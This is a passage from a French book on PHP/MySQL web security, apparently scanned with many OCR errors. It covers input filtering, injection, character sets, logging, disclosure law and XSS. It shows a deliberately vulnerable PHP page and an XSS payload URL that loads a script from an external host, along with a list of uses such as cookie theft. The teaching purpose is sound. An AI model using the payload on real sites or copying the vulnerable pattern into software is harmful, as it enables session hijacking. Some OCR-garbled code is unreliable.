d’ atterrir vivant. Avec trois, ¢’ est encore mieux, mais ¢’ est beaucoup plus encombrant...
De laméme fagon, ajouter des validations dans e modéle n’est pas toujours pertinent. 11
faut donc arriver aun compromis entre le niveau de sécurité et les contraintes d’ ergonomie
ou de performances.

La sécurité dans le développement

Lasécurité au cours du dével oppement n’ est pas a présenter et, en général, incombe auto-
matiquement aux programmeurs. Et effectivement, une grosse partie de la sécurité se
concrétisera dans le code, a partir du cadre fourni par la conception.

Dans le code PHP et MySQL, la sécurité se résume a savoir faire la différence entre ses
amis et sesennemis: il faut protéger ses amis et neutraliser ses ennemis, ce qui correspond
au principe méme delavie.

Filtrer les données entrantes

A moins que votre site ne soit monolithique et ne diffuse que des vérités indéboulonnables,
vous devrez exploiter des données en provenance de vos visiteurs. Tous les sites utilisent
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maintenant des données dynamiques, issues de formulaires, de sites externes ou méme de
ressources complexes.

Ainsi, a un moment donné, votre site va manipuler des données qu’il ne connait pas a
I"avance mais qu'il sera amené a utiliser ensuite. Afficher, calculer, traiter, tester ou
vérifier : autant d’ opérations de base qui seront appliquées aux données. Toutefois, toutes
ces opérations ont un prérequis : il faut que les données ne perturbent pas |’ exécution des
opérations.

Filtrer les données entrantes signifie simplement que les données qui sont recues doivent
avoir un format particulier pour que le code soit autorisé a les manipuler. C'est un peu
comme un formulaire administratif : il faut que ¢arentre dans les cases, sinon le dossier
devra étre refait.

« Garbage in, garbage out » ou « a question idiote, réponse idiote ». La régle d’or des
informaticiens reste valable sur le Web. 11 faut se méfier autant que possible des données
gui vous sont transmises sur le Web. Entre |’ utilisateur, qui peut étre étourdi, incompétent
ou diminué par son navigateur, et votre script, il y a encore tous les serveurs qui se
relaient I'information, le serveur web et PHP lui-méme qui interviennent sur vos
données. Avant toute utilisation, il faut donc mettre ses gants et littéralement désinfecter
les données.

Par filtre, nous entendons tout critere permettant d’ identifier clairement une erreur dans
lasaisie. Prenons un exemple simple : imaginez un formulaire qui demande lasaisied’ un
prénom. Il n’est pas possible de prévoir une liste exhaustive des prénoms, aorsil faudra
recourir a des filtres. Les critéres a appliquer a un prénom sont nombreux : est-il trop
court ? Peut-on accepter un prénom d’' un seul caractére ? Peut-on accepter un prénom de
100 caractéres ? Peut-on autoriser un prénom avec des chiffres ? des accolades ? des
guillemets doubles ? des espaces ?

Rien gu’en répondant a ces premiéres questions, on va pouvoir définir un cadre dans
lequel une chaine de caractéres doit entrer pour étre considérée comme un prénom. Cette
liste ' est évidemment pas exhaustive et pourra étre compl étée par la suite avec d’ autres
criteres. Néanmoins, ces premiers tests permettent d’ écarter un grand nombre d’ erreurs
et d’ écoaurer lamajorité des pirates.

Le concept d’injection

L'une des grandes forces de PHP est qu'il sait communiquer avec de trés nombreuses
technologies. SQL, XML, HTML, JavaScript, fichiers, systéme, RSS, services web, etc.
Gréce a cette facilité de communication, PHP devient la plaque tournante entre différents
systémes. Cependant, méme s'ils ont tous leurs regles de sécurité, ces derniéres sont
généralement incompatibles les unes avec les autres et avec celles de PHP. Celasignifie que
ce qui est mauvais pour une technologie peut étre acceptable pour les autres, et vice versa

Le concept d' injection consiste aing atransmettre a PHP des données qu'il enverraason tour
ad autres systemes. Ces données sont inertes pour PHP, qui n’ est pas affecté directement.
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Par contre, les données auront une interprétation significative lorsgu’ elles seront transmises
aux systemes connectés a PHP.

C'est le cas des XSS (Cross-Site Scripting, voir p. 19) : cette attaque consiste a injecter
du code HTML et JavaScript dans une page pour déclencher une réaction du navigateur.
Il existe aussi lesinjections SQL qui ciblent les bases de données, pour réaliser desdénisde
sarvices, extraire des informations, obtenir des droits ou simplement détruire la base. Ce
sont les formes les plus connues d’injections, mais le méme principe peut se répéter avec
toutes les autres technologies.

Le probléme existe notamment lorsque PHP compose des commandes sous forme de chali-
nes de caracteres, avant de les envoyer au systéme distant. mysq1_query prend en argument
une requéte SQL sous forme de chaine de caractéeres. Celle-ci sera analysée et exécutée par
le serveur MySQL. Durant I’ assemblage de lacommande, un motif de commande est utilisé
et les données sont ajoutées a des emplacements spécifiques. Du point de vue de la
concaténation, et donc de PHPR, la manipulation d'une injection SQL est totalement
inerte. C'est le serveur MySQL qui en subirales conséquences. En jouant habilement sur
les délimiteurs de données, une injection va sortir du cadre de la commande SQL et
modifier son comportement. De manipul ées, |es données deviennent manipul antes.

De plus en plus, PHP met en place des solutions ou |es données sont traitées séparément
de la commande. C'est le cas des commandes SQL préparées, qui séparent la compi-
lation de la commande des données qui seront traitées. Avec cette approche, il n'y aplus
de possibilité d'injection.

Ainsi, méfiez-vous simplement de la concaténation de chaines. Cette opération simple a
comprendre passe a coté d’ un point important : la signification de la commande.

Le piége des jeux de caracteres

Pour compliquer I’ équation, tous les octets n’ ont pas la méme valeur. Les jeux de carac-
téres représentent le prochain défi pour le Web et pour la sécurité. Le combat est déja
engagé dans d’ autres régions du monde, qui doivent composer avec des jeux de caracteres
peu connus du monde occidental.

Lesjeux de caracteres font laliaison entre les octets et leur valeur. Par exemple, le carac-
tére « e accent aigu », « € », est représenté de différentes manieres (tableau 1-1).

Tableau 1-1 Diverses représentations hexadécimales du caractere « é »

Jeu de caracteres Représentation hexadécimale
UTF-8 C3-A9

UTF-16 00-E9

UTF-16 E9-00

ISO Latin 1 E9

Western Mac OS Roman 8E

GB 18030 A8-A6

ISO-2022-JP 3F
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Comme vous pouvez le constater, il existe plusieurs types de situations : un seul octet ou
bien deux pour représenter un caractére (cela peut aller jusqu’a quatre octets), big ou
little endian (les octets sont rangés en ordre croissant ou décroissant d' importance),
compatibilité avec d’autres formats ou non. Au final, la correspondance est totalement
arbitraire entre les octets et la valeur qu'ils représentent.

Unicode (http://www.unicode.org) apporte une solution a ce casse-téte en proposant une
norme internationale, qui permettra de représenter n’importe quel caractére de n’importe
quelle langue au monde, y compris les nombreux idéogrammes asiatiques, certaines
langues mortes, les symboles, etc.

En attendant, il faut composer avec un paysage complexe, dans lequel le navigateur et le
serveur doivent échanger des informations pour savoir quel jeu de caractéres parle I’ autre.
Sans un minimum de concertation, le dialogue est impossible et les données seront
massacrées par les jeux de caracteres.

En termes de sécurité, les jeux de caractéres sont aujourd’ hui une voie d'injection impor-
tante. La pratique courante est d’ envoyer au serveur le contenu d’ une attaque en indi-
guant un jeu de caractéres différent de celui qui est attendu. Cela conduit le serveur a
appliquer des mesures de protection inadaptées , voire totalement nocives. C'est avec
cette approche que I’ on peut envoyer des caracteres Bigs mal formés a PHP, et que les
guillemets magiques, croyant identifier des caractéres a protéger, ajoutent des barres
obliques inverses; le résultat fina est une chaine qui contient en réalité un guillemet
proprement formé et apte a pratiquer une injection.

Il faut donc apporter une attention particuliére ala gestion des jeux de caractéres sur une
application web.

Suivre les données

Aprés avoir caractérisé les valeurs entrantes, il est nécessaire de savoir en tout point de
I"application si les données que vous manipulez sont saines ou non. PHP fournit les
données dans plusieurs variables super-globales, telles que $_GET et $_PosT, etc. mais
savez-vous toujours faire la différence entre une variable qui a été validée et une autre qui
est encore brute, si vous utilisez toujours ces variables ?

Pour avoir un comportement sdr, il est important de savoir atout moment si vous utilisez
des valeurs brutes ou validées. La stratégie la plus courante est d’ imposer un systeme de
filtrage sous forme de bibliothéque externe, qui se charge a chaque début de script. Une
autre stratégie consiste a placer les variables validées dans un autre tableau global, avec
un nom explicite :

$_CLEAN, $_VALIDATED, $_SAFE, $_PROPRE

Cette stratégie ale mérite d’ avoir une approche en liste blanche assez simple et de signa-
ler immédiatement dans un script quelles données ont été validées ou non. Elle permet
aussi de centraliser les validations et de trés peu changer les pratiques de programmation
des dével oppeurs.
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En poussant |e raisonnement plus loin, il est aussi intéressant de savoir si une variable a
été validée pour un contexte. Aprés un tableau $_CLEAN, on peut avoir des tableaux $_saL,
$_HTML et/ou $_URL, avec des données validées prétes a étre utilisées dans ces contextes.
Lorsgue ces valeurs seront utilisées dans des chaines de commandes et concaténées,
Vous, et votre auditeur, serez certain que les données sont bien celles que vous attendez.

Protéger les données sortantes

Enfin, la protection des données en sortie est I'équivalent du filtrage en entrée. Elle
consiste a s assurer que les données qui sortent de PHP sont neutres pour la prochaine
technologie qui vales utiliser. C est e principe méme du bon voisinage.

Les sorties d’ un script PHP sont en fait trés nombreuses, car PHP est capable de commu-
niguer avec de nombreux systémes dont les plus évidents sont bien sir HTML et SQL.
Toutefois, PHP est capable de travailler avec bien d’autres technologies: JavaScript,
CSS, images, LDAP, XML, text, Open Office et Microsoft Office, SSH, FTP... Laliste
s allonge sans cesse.

L ai ssez-nous vous raconter une anecdote. « Viensvair, le site web m'insulte... ». Face a
une telle interpellation, il est difficile de ne pas attirer le webmestre en face de vous.
«Non, c’est pasvrai », vous dit-il en vousrejoignant. « Maissi, regarde, il y a écrit Gros
Lard dans la page de recherche ». Aprés une seconde de réflexion, il vous dit : « Montre-
moi le code source de la page ». Vous vous exécutez, et découvrez la phrase d’insulte au
milieu du code. «Si c'est dans le code, c'est que tu I'as modifié! ». «Attends, je
recharge la page sur le site », lui rétorquez-vous. Et encore une fois, le site web vous
insulte. « C'est incroyable... peut-étre un test de débogage qui a été oublié ? J essaie sur
mon poste » dit le webmestre, en se rendant dans son bureau avant que vous ne puissiez
le retenir... L’injection que vous aviez utilisée passait par une méthode pPosT, ce qui
rendait le code totalement invisible dans I’ URL, maisil fallait quand méme le taper dans
le formulaire. « Sur mon poste, ¢a ne le fait pas... » affirme le webmestre en revenant
rapidement.

Depuis, |e site de ce transporteur aérien bien connu a été corrigé et il n’est plus possible
de plaisanter a ses dépens. |l suffisait effectivement d’insérer un guillemet double ("),
puis un signe « supérieur a» (>) pour glisser du texte dans le code source de la page de
recherche et afficher une belle invective. En définitive, c’'est bien et bel le site web
victime qui produit une page et introduit dans son code source des instructions: cela
revient a publier du contenu.

L orsque vous affichez du contenu sur votre site web, pensez toujours que votre applica-
tion publie des informations pour vous : elle ne fait que diffuser le contenu que vous lui
demandez.

La protection des données en sortie s applique a |’ éradication de code JavaScript ou de
balises inopinées dans les pages HTML, mais aussi a I'éradication des caracteres
spéciaux SQL, LDAPR, Shell, URL et XML ou encore toute autre technologie que vous
utilisez conjointement a PHP. Il est donc de votre responsabilité d' afficher des données
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auss propres que possible, car ¢’ est votre réputation que vous affichez sur vos applications.
Et une application qui vousinsulte, ce N’ est pas un bon début...

Les audits de code

Méme avec les meilleurs concepts de sécurité en téte, vous pourrez étre ala merci d’ une
inattention qui laisse passer une vulnérabilité. Une bonne pratique de sécurité consiste a
faire auditer votre code, ¢’ est-a-dire a le faire relire par un intervenant qui n'a pas pris
part au développement du projet. L’ auditeur peut étre un collégue qui travaille sur un
autre projet, un ami ou encore un responsable interne de la sécurité. |l est simplement
important qu’il connaisse les technologies misesen jeu et qu’il soit suffisasmment détaché
du projet.

Méme un non-informaticien pourra vous étre précieux. La présentation d’'un projet a
autrui apporte toujours des enseignements. Le simple fait de détailler le projet et son
fonctionnement interne permet d’ éclairer I’ auteur et conduit a une bien meilleure appli-
cation.

Une pratique issue de la programmation extréme est la programmation par paire: ¢ est
parfois un exercice d humilité. La programmation se fait par deux : un programmeur au
clavier et un autre qui I’ assiste, surveille le code et suit le projet du point de vue de la
conception. Généralement, le partenaire identifie de nombreuses erreurs de codage durant
ce dernier.

La sécurité de tous les jours

Une fois que I'application est préte, elle est lancée en production. L’ application doit
maintenant réaliser les taches pour lesguelles elle a été congue, sans faire ce qu’on n’'en
attend pas. Aprés avoir planifié, il s'agit maintenant de surveiller et d'utiliser tous les
atouts de I application pour maintenir la stabilité et la qualité du site.

Modérer le contenu

La modération du contenu publié par votre application est une technique de sécurité
souvent dédaignée. Méme si la sécurité de votre application repose essentiellement sur PHP,
il existe un point ot PHP ne saura plus faire la différence entre un contenu acceptabl e et
un contenu qui N’ est pas acceptable.

Les exemples sont nombreux : pour le cas d’un commentaire sur un blog, il serafacile a
PHP de vérifier st un message envoyé ne contient pas d’ attague XSS. Cependant, il lui
seradifficile de s assurer que le contenu publié est 1égal, décent ou présente un intérét en
relation avec le blog. 1l existe de nombreuses applications qui publient immédiatement
les commentaires, pour réaliser trop tard que des spammeurs ont déja mis au point des
techniques avancées de postage de masse. Avant d’accepter et de publier sur votre site
n'importe quel commentaire, il vous faut peut étre les vérifier par vous-méme.

La modération de contenu est probablement la technique la plus contraignante : quoi de
plus précieux que le temps du webmestre ? Doit-il vraiment passer en revue les milliers
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de messages du forum et les centaines de nouveaux comptes ? Le choix de cette techni-
gue peut devenir rapidement difficile a gérer : généralement, on demande a PHP de faire
les premiers choix, comme écarter certains mots-clés, puisles caslitigieux sont transmis
au webmestre et on espere que d’ici a ce que le probléme ne se représente, de nouvelles
techniques auront été mises en place pour y parer.

Veiller par les logs

Parmi les outils de surveillance et d’analyse d'une application web, les logs jouent un
role primordial bien qu'ils soient trop souvent oubliés. Pourtant, ils fournissent desinfor-
mations cruciales pour retracer ce qui S est passé durant I’ exécution d’ une application,
gue ce soit apres une catastrophe, ou en prévision d' une attaque.

Les logs enregistrent les opérations importantes qui jalonnent la vie d' une application :
reglements de factures, modifications de coordonnées, gjouts ou retraits d’ utilisateurs,
gjouts de commentaires, effacements, entretien, etc. |déalement, ils devraient &re misajour
dés gu’ une opération jugée critique est réalisée.

L’ importance deslogstient surtout au fait qu’ils sont actifs méme lorsque aucun adminis-

trateur n’est présent sur le site et lorsgque I’ équipe de programmation est partie sur un
autre projet.

On peut S en servir apres un désastre, pour s approcher de I’ origine du probleme. On peut
aussi s'en servir pour surveiller I'exécution normale d’une application : méme quand
I” application fonctionne comme une horloge, il est bon d’ étudier les logs réguliérement.
Cela permet de savoir comment les utilisateurs se servent de |’ application, ou bien de
détecter des tentatives de piratage. Parfois, dans le cas des accés en lecture aux données
confidentielles, les logs sont la seule trace d'une attague. Ils sont d'ailleurs souvent
I’ objet d' attaques de pirates cherchant a couvrir leurs traces.

De la nécessité de se tenir a jour

Les logs assurent le suivi de production de votre application. Néanmoins, dés que vous
avez adopté une application, une plate-forme ou une bibliothéque, il faut suivre son
actualité: comme vous, lacommunauté veille au grain, notamment en termes de sécurité.
Dés qu’ un autre utilisateur surprend une utilisation indue de I’ application ou une vulné-
rabilité, il la rapporte aux éditeurs, pour correction. C'est autant de travail que vous
n'avez pas afaire, mais cela ne vous épargne pas tout.

PHP, MySQL et beaucoup d’ applications s efforcent de publier des correctifs des que des
problémes significatifs sont identifiés. En général, le groupe PHP réagit en quelques
jours aun probléme significatif, ou inclut 1a correction dans la prochaine version publiée.
MySQL force aussi son calendrier de publication pour livrer une version de sécurité.

Toutefois, les statistiques montrent qu’il y atoujours des retardataires qui ne mettent pas
leur version ajour dans des délais raisonnables. || en existe méme qui ne touchent plus a
leur configuration aprés avoir réussi I'installation. Cela explique pourquoi il existe
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encore des utilisateurs de PHP 4.3.1 ou 4.3.4, aors que de nombreuses vulnérabilités ont
été découvertes et corrigées dans les douze versions qui ont suivi.

Généralement, les outils d attagque massive qui exploitent une vulnérabilité sont optimi-
Sés pour une version spécifique, et quelques versions antérieures. |ls sont rapidement
bloqués par une mise a jour : il faut donc appliquer cette derniere le plus rapidement
possible. Une fois qu’un auteur a publié sa mise ajour, ¢’ est au webmestre d'un site de
prendre les mesures qui S imposent. Le plus souvent, ¢’ est vous.

Parfois aussi, lorsgu’ une vulnérabilité est publiée, un palliatif est proposé. Par exemple,
s une injection de code distant est décel ée dans une application, vous avez deux solutions:
mettre a jour |"application avec la nouvelle version ou bien désactiver la directive PHP
allow_url_fopen. Selon vos besoins en fonctionnalités PHP, vous pourrez peut étre vous
passer de cette directive ; dans ce cas, le plus ssmple est de modifier votre configuration
PHP. Si vous ne pouvez pas vous passer de cette fonctionnalité, il faudra aors faire la
mise ajour.

Danstous les cas, réagissez.

Se méfier aussi des navigateurs

Lavellle sécuritaire doit également inclure le navigateur, aussi appelé browser. C'est le
navigateur qui recoit le code créé par PHP et qui I’ exécute, que ce soit du HTML, du
JavaScript, des CSS, desimages, etc. C'est aussi lui qui sert de point d appui pour certaines
attaques telles que les CSRF (Cross-Site Request Forgeries, voir p. 29) ou XSS,

Internet Explorer et Firefox, qui sont les deux navigateurs dominants actuellement sur le
marché, sont réguliérement sujets a de longues listes de bogues. Ceux-ci sont liés a une
gamme trés vaste de problémes : il y ales standards qui ne sont pas respectés, | es spécifi-
cations ambigués qui sont interprétées de différentes maniéres, les modules optionnels qui
ont leurs propres problémes, jusqu’aux bogues d’'implémentation, qui permettent de
réaliser des opérationsinterdites. 11 nous faudrait un livre complet pour couvrir ce sujet.

Il est souvent illusoire de se protéger contre le navigateur. Les problémes apparaissent et
disparaissent trop vite pour qu’une application web s adapte en permanence : personne
n’ a suffisamment de ressources pour cela.

La stratégie raisonnable est donc de surveiller les vulnérabilités qui sortent, et de voir s
celaaunimpact direct sur votre application. Une analyse du trafic vous diraimmédiatement
si le nombre de victimes ou de vecteurs potentiels est grand et si vous devez mettre en
place des protections spécifiques.

Ceci n'est pas un plaidoyer pour I'inaction : si vous envisagez de mettre en place des
protections spécifiques, il est bon d’ utiliser une approche simple, et prévoyez de pouvoir
retirer facilement cette protection. Les chances sont grandes pour que le probleme ait
disparu de lui-méme quelques mois ou semaines plus tard, ou qu’une correction soit
incompatible avec tous | es autres navigateurs.
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Les aspects légaux de la sécurité

Pour finir, sachez que la sécurité d'un site web est maintenant prise en compte dans
divers systemes de protection, notamment celui de la propriété intellectuelle. Si les
aspects techniques de la sécurité sont délicats a traiter, les aspects légaux peuvent se
révéler bien plus épineux.

Prenez |e site web de votre banque. Aprés vous étre diment identifi€, vous commencez vos
opérations mensuelles et vous réalisez rapidement qu'il y a une petite vulnérabilité : une
validation qui est mal faite, et vous réussissez ainjecter une aerte JavaScript dans la page.
Vous étudiez |e probléme et rapidement, vous avez la conviction que vous avez identifié un
probléme bénin, mais qui peut serévéler sérieux. Vous documentez lavulnérabilité, avec un
petit exemple et un cas de test complet, que vous faites parvenir & securite@mabanque-en-
Tigne.com. Votre banque est une institution sérieuse, mais celane fait pas de mal del’ aider.

Pourtant, & la place d'une lettre de remerciement, ou méme simplement un accusé de
réception de votre message, c'est une lettre d’ avocat qui vous attend le lendemain matin
dans votre boite postale : vous étes assigné a comparaitre au tribunal pour une tentative
de piratage de site!

Cette situation est totalement inventée, et probablement extréme, mais parfaitement possi-
ble. Sachez que découvrir une vulnérabilité et ladocumenter peut étre considéré comme un
acte criminel ; vous violez la propriété privée du propriétaire du site web. L'anglais
Daniel Cuthbert aains testé la sécurité du site web d' une association caritative et a tenté
d accéder aux dossiers supérieurs de laracine web. | a é&é reconnu coupable, et condamné
aune amende de 400 livres sterling, ainsi que 600 livres pour dommages et intéréts.

Analyser un site pour découvrir des vulnérabilités vous met directement alamerci de ses
propriétaires: c'est un cas d’ utilisation abusive du site. Légalement, un utilisateur est
reconnu coupable si les données auxquelles il accede ne lui sont pas autorisées. Autre-
ment dit, méme si les données ne sont pas protégées et si vous y accédez par inadver-
tance, vous pouvez étre reconnu coupable. Bien sir, la Iégislation varie d'un pays a
I"autre, et les réactions des institutions ne sont pas toutes les mémes. Toutefois, pour le
meilleur ou pour le pire, les tentatives de piratage sont universellement reconnues comme
des actes criminels et punis comme tels. Soyez donc prévenu !

Evidemment, tous les sites ne sont pas paranoiagques : certains, tels que Google, Yahoo! ou
Flickr réagissent généralement en colmatant la breche et en collaborant avec les décou-
vreurs. Les projets Open Source et nombre de projets propriétaires ont des réactions simi-
laires. |1s apprécient un protocole bien rodé ; lorsqu’ une vulnérabilité est découverte, il faut
prévenir immédiatement les auteurs, avec la preuve, un prototype ou un synopsis facile a
suivre. Ensuite, I’ auteur dispose d'un délai raisonnable pour produire une correction et la
publier. Généraement, cela sefait en quelquesjours aprés |’ avertissement. Puis, lorsgue la
correction a été publiée, on peut publier a son tour lavulnérabilité.

Cette technique permet de protéger les auteurs d’un projet, mais gardez en téte que le
probléme est alors reporté au niveau des utilisateurs : ces derniers doivent se mettre a
jour. Lors de lapublication de la vulnérabilité, il est donc important de ne pas faciliter la
vie des pirates qui en prendront connaissance.
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PHP et MySQL constituent la plate-forme la plus populaire pour produire des applica-
tionsweb. Celle-ci est bien sécurisée contre les attagues. Elle ala charge de produire une
application web et d’ en sécuriser le code, ¢’ est-&-dire que les pagesHTML créées a partir
de PHP et des données de I’ utilisateur ne doivent donner que le résultat attendu.

Les vulnérabilités web ont été identifiées comme les plus nombreuses en 2006 et seront
encore en téte dans les prochaines années : entre lafacilité d’ accés viale réseau I nternet,
la popularité des applications et 1a négligence de certains webmestres, il y a de nombreuses
occasions pour exploiter une application en ligne.

Dans ce chapitre, nous passerons en revue les risgues encourus par |es applications web,
gu’ elles soient PHP ou non. Nous présenterons | es protections possibles a mettre en place
avec PHP et MySQL pour ne plus étre une victime.

Les injections HTML : XSS

XSS est un sigle anglophone, qui signifie Cross-Site Scripting, pour lequel il n'y a pas
encore d’ équivalent frangais reconnu. C' est dommage, car celaaiderait peut-&tre a mieux
comprendre ce qu’ est un XSS et donc a mieux s en défendre. La définition la plus repré-
sentative qui existe actuellement est « injection HTML ».

Vous I’ aurez sans doute déja remarqué, le sigle devrait étre CSS. |l fallait en trouver un
autre puisque ce dernier est utilisé pour Cascading Style Sheets. En anglais, a cross est
une croix, souvent symbolisée par la lettre X. Malgré cela, la confusion est fréquente
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avec CSS: cela contribue & donner une fausse impression de faille de sécurité qui n’est
pas trop dangereuse.

Historiquement, les premiéres attagues XSS remontent a I’ époque des balises <frame>.
Les frames, ou cadres, servent a découper une page web en plusieurs zones, chacune
d’entre elles étant gérée par une page web indépendante. Pour garder une unité ala page,
JavaScript se charge de faire communiquer les zones entre elles.

Avec cette structure, il est difficile de voir si une telle page provient du site consulté ou
bien d’ un site externe. En effet, la page principale définit les cadres et leurs URL respec-
tives. Comme pour les images, un cadre peut étre local ou bien placé sur un site distant.
Apres le chargement, chague cadre gere sa propre navigation, ses images, son code
JavaScript. On peut donc naviguer sur un site et charger des pages sur autre site de fagon
totalement transparente.

C'est sur ce camouflage que les premiéres attagues XSS étaient basées. En modifiant le
code de la page web contenant les cadres, un pirate parvenait a charger une page de son
propre site. L' utilisateur sans méfiance croyait étre toujours sur le site qu'il visitait initia-
lement, alors qu'en fait il naviguait sur les pages malintentionnées. Le pirate utilisait
alors la crédibilité du site web attaqué et la crédulité de I’ utilisateur pour amener ce
dernier a lui confier des informations confidentielles, comme des identifiants ou des
coordonnées bancaires.

Le terme XSS a été forgé a partir de ces premiéres techniques : scripting pour I’ utilisa-
tion de JavaScript ou de techniques HTML et cross-site pour indiquer le mélange qui
était réalisé entre le site web vulnérable et e site pirate.

Evidemment, avec la maturité des technologies et |’ abandon progressif des cadres, les
techniques XSS ont évolué, mais le concept est toujours le méme.

Pour étre plus clair dans la description de cette vulnérabilité, nous utiliserons le terme
«injection HTML ». L'injection correspond bien a une vulnérahilité ot des données
externes modifient le comportement de |’ application. HTML désigne clairement les
pages web comme véhicule de la vulnérabilité. On pourra aussi utiliser « injection
JavaScript » ou méme « injection CSS » pour désigner plus précisément des attaques utilisant
uniquement |’ une ou |’ autre de ces technologies. « Injection HTML » est probablement
le terme le plus générique et le plus facile a comprendre.

Prototype d’une injection HTML

Le concept initial d'une XSS est la possibilité de faire une injection de code HTML ou
JavaScript dans une page HTML. Le site est vulnérable dans lamesure ol il permet aun
utilisateur externe de modifier le comportement d’une page web a |’ aide des arguments
qui sont envoyés a cette derniere. Voyons en pratique comment cela se passe.
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L’ archétype d’ une vulnérabilité XSS est celui-ci :

<htm1>
<head>
<title>
Une page vulnérable
</title>
</head>
<body>
<?php echo "Bonjour ".$_GET['nom'] ; 7>
</body>
</htm1>

Vous reconnaissez facilement la structure de base d’ une page HTML trés dépouillée. La
variable nom est passée vial’ URL comme ceci :

http://www.monsite.com/index.php?nom=damien

La variable nom est affichée directement dans la page, viala concaténation. $_GET[ ‘nom” ]
est fournie par PHP a partir des données de I’ URL et, dans ce script d'illustration, il est
utilisé brut : il n’y aaucune modification entre la valeur externe et celle qui est introduite
dans la chaine affichée. Généralement, une telle page est utilisée comme action d'un
formulaire et permet d’ afficher le nom de I’ utilisateur et de personnaliser la page.

La vulnérahilité présentée dans cette page réside dans le fait qu'il est possible d' utiliser
des caractéres HTML spéciaux, tels que < et >, pour modifier le comportement de la page
HTML produite. Le code peut faire plus que simplement afficher |a variable envoyée et
le nom de I utilisateur. Observez cette URL, pointée sur le script ci-dessus :

http://www.monsite.com/index.php?nom=%3Cb%3Emonsieur%3C%2Fb%3E

Cette URL inclut maintenant deux balises HTML. Elles sont masguéesici, car < et > ne
sont pas des caracteres valides dans une URL : il faut utiliser leur représentation hexadé-
cimale, sous forme de %3¢ et %3€. Toutefois, un navigateur moderne saura se débrouiller
avec une URL telleque:

http://www.monsite.com/index.php?nom=<b>monsieur</b>

Nous avons maintenant une attague possible pour le script. Grace a la vulnérabilité que
nous avons identifiée, celui-ci va maintenant afficher le nom de I’ utilisateur en gras. En
effet, la balise <b> fait apparaitre |e texte encadré en gras. On a donc modifié le compor-
tement initial de la page pour lui faire exécuter une fonctionnalité inattendue.

A ce stade, il est certain que vous N’ étes pas encore impressionné par les injections
HTML : une vulnérabilité qui met en gras du texte dans une page web n’est pas un gros
probléme. En fait, nous avons mis le doigt sur la vulnérabilité et nous pouvons mainte-
nant I’ exploiter pour réaliser des attaques plus complexes. Pour celg, il suffit d’ envoyer
desbalisesHTML qui réalisent des opérations plus compl étes que simplement changer la
graisse d’'une police.

Parmi les candidats, il y a bien slr les images, qui seront chargées sur un site distant ou
bien I'inclusion de JavaScript.
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Reprenons notre exemple::

http://www.monsite.com/index.php?nom=monsieur<script
=src= "http://autre.site.com/xss.js" >

Cette nouvelle attague va injecter une balise JavaScript qui demande au navigateur de
charger un fichier JavaScript complet, sur un autre site que le site vulnérable. Du point de
vue du navigateur, c’est parfaitement valide. Une page HTML permet de combiner des
contenus en provenance de différents sites. Généralement, un site web fournit la totalité
des contenus qu'il affiche, mais ce n’est pas forcément toujours le cas. Par exemple, les
services de statistiques demandent aux webmestres d’inclure un fichier JavaScript ou une
image danstoutes leurs pages : ainsi lorsqu’ un visiteur charge lapage, il charge aussi des
informations sur le site de statistiques, qui peut ainsi compter e nombre de visites. || est
possible de charger de nombreuses ressources externes: des images, des animations
Flash, des applets Java, des frames ou iframes, du code JavaScript, des feuilles CSS, etc.

Normalement, les liens vers les ressources externes sont gérées par le programmeur dela
page: c'est lui qui sait ou sont placées les ressources affichées dans la page et qui établit
les références la ou elles sont utiles. C'est une fonctionnalité immémoriale du Web et
srement un atout pour le partage d'informations. Néanmoins, en ce qui concerne la
sécurité, cela ouvre la porte aux injections les plus dévastatrices : avec une vulnérabilité
telle que celle que I’ on vient de voir, une partie des ressources de la page est configurée
par un auteur externe arbitraire.

Avec un fichier JavaScript externe, il est désormais possible de réaliser de nombreuses
opérations distinctes avec le navigateur victime :

 charger du contenu arbitraire : en ajouter, en supprimer, en modifier dans la page en
cours;;

 forcer I' utilisation de formulaires : aussi bien ceux de la page en cours que les formu-
laires distants;;

 détourner des formulaires vers un autre site : I’ autre site peut alors s'insérer dans les
communications entre le navigateur et le site |égitime ;

 voler les cookies: celaconduit directement al’ usurpation d'identité ;
* rediriger versun autre site ;

« faire exécuter au navigateur de nombreuses opérations au nom de son utilisateur.

Attaques par moteur de recherche

Les injections que nous venons de voir sont des injections directes : e pirate donne a sa
victime une URL modifiée, et cette derniére exécute immédiatement les opérations arbi-
traires. Il existe des approches plus complexes, ou le pirate exploite les vulnérabilités via
un intermédiaire. Les plus surprenantes d’ entre elles sont les moteurs de recherche.
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Les attaques par moteur de recherche représentent une technique de masquage d’ atta-
gue. Pour construire une telle attaque, il faut commencer par mettre en place une URL
qui pointe sur un site vulnérable. Unefois ceci fait, il faut |a soumettre au référencement
des différents moteurs de recherche. Ceux-ci vont gjouter |’ adresse aleur liste de sites a
vérifier. A ce stade, il estimportant de savoir que les moteurs de recherche ' ont pas d autre
choix que d’interroger une URL pour savoir si elle est active et quel type de contenu
elle contient.

Du point de vue du pirate, cette attaque permet de masquer I’ origine de I’ attaquant. En
effet, si le site victime cherche la source de I’ attaque, il varemonter au moteur de recher-
che. Et commeiil est rarement possible de retrouver la personne qui a soumis une URL a
un moteur de recherche, le pirate est hors d’ atteinte.

De plus, comme les moteurs de recherche prennent quelques jours avant de passer a
I"indexation de nouvelles URL, cela peut aussi détacher une analyse de vulnérabilité de
son exploitation réelle, rendant latache d' analyse plus difficile.

Il n"y apas de protection particuliére qui puisse étre mise en place ace niveau-la. Cetype
d attaque doit étre compris, afin de ne pas confondre un moteur de recherche avec un
pirate éventuel. Si votre site a été protégé, il ne devrait pas étre sensible a ce type d' attaque
plus qu’a une autre.

Savoir protéger les pages web

La stratégie de protection principale contre les injections HTML est la méme que pour
toutes les injections : il faut neutraliser les données pour la technologie a laguelle elles
sont transmises.

Neutralisation des caracteres spéciaux

Dans |e cas des pages web, il faut neutraliser les caracteres spéciaux HTML. Il y a deux
fonctions de protection fournies par PHP :

* htmlentities()
* htmlspecialchars()

htmlspecialchars() remplace tous les caractéres qui ont une signification spéciale en
HTML par leur entit¢ HTML : leterme « entit€ HTML » est un anglicisme pour désigner
une séguence représentant un caractére spécial HTML. Par exemple, le caractére < est
remplacé par laséquence &1t; (en anglais, 1t signifielesser than, ¢’ est-&-dire « plus petit
gue »). Cetteregle s applique ainsi aux caracteres suivants :

* &, le«et commercia », qui commence les séquences HTML (telles que &amp;) ;
* ', lesguillemets simples, utilisés dans |es attributs ;

e ", lesguillemets doubles, utilisés dans les attributs ;

e <ety, lessignes«inférieur a» et « supérieur a», qui délimitent une balise
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htmlentities() est une version plus compléte de htmispecialchars(), €lle remplace dans
une chaine tous les caractéres possibles par leur séquence HTML.

